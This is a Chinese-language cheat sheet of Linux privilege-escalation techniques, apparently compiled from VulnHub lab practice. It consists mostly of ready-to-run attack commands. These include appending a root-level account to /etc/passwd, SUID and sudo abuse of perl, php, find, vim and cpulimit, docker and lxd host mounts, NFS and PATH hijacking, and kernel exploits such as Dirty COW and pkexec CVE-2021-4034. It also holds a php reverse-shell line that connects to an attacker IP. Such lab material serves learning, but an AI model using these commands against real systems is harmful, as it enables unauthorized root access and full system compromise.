vulnhub靶场linux提权总结
0x001 命令提权
1.passwd提权
两种密码生成方式:
perl -le 'print crypt("123456","addedsalt")'
echo "hack:adrla7IBSfTZQ:0:0:hack:/root:/bin/bash" >> passwd
openssl passwd -1 -salt hacker 123456
echo "hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:hacker:/root:/bin/bash" >> /etc/passwd
2.lxd提权
LXD全称Linux Daemon,容器管理程序,基于LXC容器技术实现,简单来说就是完成容器管理工作.
利用exp
searchsploit lxd # kali搜索lxd即可
exp利用镜像:https://github.com/saghul/lxd-alpine-builder/
下载到目标机,设置权限,运行以下命令即可。
46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
3.perl提权
第一种提权方式:
条件:perl具有suid权限并且使用perl命令不需要密码
利用方式:sudo perl -e 'exec "/bin/bash"'
第二种提权方式:
条件:如果二进制文件具有 Linux功能集,或者由具有该功能集的另一个二进制文件执行,则可以将其用作后门,通过操作自己的进程 UID 来维护特权访问。
利用方式:./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
4.php反弹shell提权
条件:php具有suid权限并且使用perl命令不需要密码
利用方式:
目标机:sudo php -r '$sock=fsockopen("192.168.1.109",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
攻击机:nc -lvnp 9999
5.相似命令调用提权
条件:具有suid权限,并且可以调用系统命令执行
netscan具有suid权限,可以调用netstat命令
echo "/bin/sh" >netstat
chmod 777 netstat
export PATH=/tmp:$PATH #设置环境变量
netscan
6.cpulimit提权
条件:cpulimit具有suid权限
exp:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(0,0);
execve("/bin/bash",NULL,NULL);
}
利用方式一:
gcc test.c -o exp #编译为可执行文件并上传到目标机
cpulimit -l 100 -f ./exp
利用方式二:
./cpulimit -l 100 -f -- /bin/sh -p
7.pkexec提权
条件:具有suid权限
poc下载:https://github.com/arthepsy/CVE-2021-4034
利用方式:
wget http://192.168.1.106/poc.c #下载poc到目标机
gcc poc.c -o exp #编译为可执行文件
chmod +x exp #设置执行权限
./exp #运行
8.docker提权
条件:普通用户在docker组,且root账号的默认组是docker
利用方式:
docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh #创建容器(自动下载alpine文件)
docker images
docker run -it -v /:/mbt bfe296a52501 #创建宿主机目录到/mbt目录
9.find提权
条件:具有suid权限
利用方式:find test -exec /bin/bash -p \; -quit
10.python提权
条件:具有root权限
运行python
import os
os.system("id")
os.system("/bin/bash -i")
11.service提权
条件:具有root权限,不需要密码可以执行
sudo service ../../bin/bash
12.nfs配置错误提权
利用方法:
#攻击者
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#受害者
cd <SHAREDD_FOLDER>
./bash -p #ROOT sh
13.vim提权
条件:具有root权限并且不需要密码
利用方式:
sudo vim
ESC + 冒号 输入shell
回车即可提权成功。
14.ht软件编辑器提权
查看当前用户权限,发现ht具有root权限。而且提示我们ht是一个软件编辑器。
apt install terminal.app # 这里我是安装terminal.app利用的
terminal # 运行
出现蓝色界面,按F3,然后输入/etc/sudoers,回车
添加如下图内容,然后按F2保存,Ctrl+c退出即可。
重新查看用户权限,发现已经成功添加,sudo执行即可获取root权限。
0x002 linux内核提权
1.脏牛提权
条件:>=2.4.22的所有linux内核版本
漏洞检测脚本:https://github.com/mzet-/linux-exploit-suggester
exp下载:https://www.exploit-db.com/download/40616
利用方式:
mv 40616 exp.c #重命名为.c格式文件
gcc exp.c -o exp -pthread #gcc编译为可执行文件
chmod +x exp #添加执行权限(先上传到目标机)
2.cve-2017-16995 提权
条件:Linux Kernel Version 4.14-4.4
exp:kali搜索45010.c文件
利用方式:
gcc 45010.c -o exp #编译为可执行文件
chmod +x exp #添加执行权限(先上传到目标机)
后面遇到新的会更新。。。